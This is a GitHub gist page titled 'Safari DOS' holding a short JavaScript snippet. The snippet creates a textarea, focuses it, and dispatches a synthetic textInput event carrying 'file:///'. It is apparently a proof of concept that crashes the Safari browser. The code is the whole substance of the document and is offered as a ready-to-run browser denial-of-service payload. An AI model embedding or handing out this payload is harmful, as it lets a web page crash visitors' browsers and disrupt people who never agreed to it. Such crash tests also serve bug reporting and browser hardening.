Skip to content

Instantly share code, notes, and snippets.

@lloeki
Last active December 12, 2015 02:08
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lloeki/4696484 to your computer and use it in GitHub Desktop.
Save lloeki/4696484 to your computer and use it in GitHub Desktop.
Safari DOS
(function(){
_textarea=document.createElement('TEXTAREA');
_textarea.setAttribute('class', 'crashtest');
document.getElementsByTagName('body')[0].appendChild(_textarea);
_textarea.focus();
_evt = document.createEvent("TextEvent");
_evt.initTextEvent("textInput", true, true, window, 'file:///');
_textarea.dispatchEvent(_evt);
}
)()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment